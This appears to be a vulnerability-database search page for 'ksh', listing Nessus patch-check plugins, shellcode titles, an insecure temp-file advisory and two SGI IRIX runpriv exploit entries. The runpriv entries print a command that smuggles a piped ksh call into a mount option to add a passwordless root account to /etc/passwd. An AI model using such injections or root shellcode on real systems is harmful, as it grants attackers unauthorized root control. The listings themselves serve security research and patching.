117 matches found
Solaris 8 (x86) : 110663-26
SunOS 5.8x86: ksh patch. Date this patch was last updated by Sun : Apr/06/11 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if ! definedfunc"bnrandom"...
Solaris 8 (sparc) : 110662-26
SunOS 5.8: ksh patch. Date this patch was last updated by Sun : Apr/01/11 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit...
Solaris 9 (sparc) : 112964-18
SunOS 5.9: ksh patch. Date this patch was last updated by Sun : Apr/01/11 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text in this plugin was extracted from the Oracle SunOS Patch Updates. include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid53281...
MDVA-2010:173 : gnupg2
The file /etc/profile.d/gpg-agent.sh uses the source statement which is not valid in sh or ksh. The source statement for sh, ksh, and bash should be . rather than source. This update fixes this issue. %NASLMINLEVEL 70300 @DEPRECATED@ This script has been deprecated as the associated patch is not...
Solaris 7 (sparc) : 108416-02
SunOS 5.7: ksh patch. Date this patch was last updated by Sun : Nov/13/01 %NASLMINLEVEL 999999 @DEPRECATED@ This script has been deprecated as the associated patch is not currently a recommended security fix. Disabled on 2011/09/17. C Tenable Network Security, Inc. if ! definedfunc"bnrandom" exit...
Linux/x86 - setreuid(0,0) + execve("/bin/ksh", [/bin/ksh, NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid0,0 + execve"/bin/ksh", /bin/ksh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...
Linux/x86-64 - setreuid(0,0) + execve(/bin/ksh, [/bin/ksh, NULL]) + XOR Encoded Shellcode (87 bytes)
Linux/x86-64 - setreuid0,0 + execve/bin/ksh, /bin/ksh, NULL + XOR Encoded Shellcode 87 bytes. Shellcode exploit for Linuxx86-64 platform Title: Linux x86-64 setreuid 0,0 & execve"/bin/ksh", "/bin/ksh", NULL + XOR encoded - 87 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware...
HP-UX Security Patch : PHCO_33169
ksh1 cumulative patch %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26304; scriptversion"1.8"; scriptsetattributeattribute:"pluginmodificationdate", value:"2021/01/11";...
HP-UX Security Patch : PHCO_30000
ksh1 cumulative patch %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26278; scriptversion"1.8"; scriptsetattributeattribute:"pluginmodificationdate", value:"2021/01/11";...
HP-UX Security Patch : PHCO_30316
ksh1 cumulative patch %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26282; scriptversion"1.8"; scriptsetattributeattribute:"pluginmodificationdate", value:"2021/01/11";...
HP-UX Security Patch : PHCO_34509
ksh1 cumulative patch %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26316; scriptversion"1.8"; scriptsetattributeattribute:"pluginmodificationdate", value:"2021/01/11";...
HP-UX Security Patch : PHCO_36131
ksh1 cumulative patch %NASLMINLEVEL 70300 C Tenable Network Security, Inc. if !definedfunc"bnrandom" exit0; include'deprecatednasllevel.inc'; include'compat.inc'; if description scriptid26330; scriptversion"1.9"; scriptsetattributeattribute:"pluginmodificationdate", value:"2021/01/11";...
SGI IRIX 6.5.28 - runpriv Design Error
SGI IRIX 6.5.28 - runpriv Design Error !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...
SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability
No description provided by source. !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...
ksh.temp-hole.txt
Author: Paul Szabo Recently I reported that, similarly to the recently discussed tcsh vulnerability, the Bourne shell /bin/sh creates temporary files in an insecure way: http://www.securityfocus.com/templates/archive.pike?list=1&msg=200011230225.N [email protected] At the time I als...
/bin/ksh creates insecure tmp files
Recently I reported that, similarly to the recently discussed tcsh vulnerability, the Bourne shell /bin/sh creates temporary files in an insecure way: http://www.securityfocus.com/templates/archive.pike?list=1&[email protected] At the time I also tested the Korn...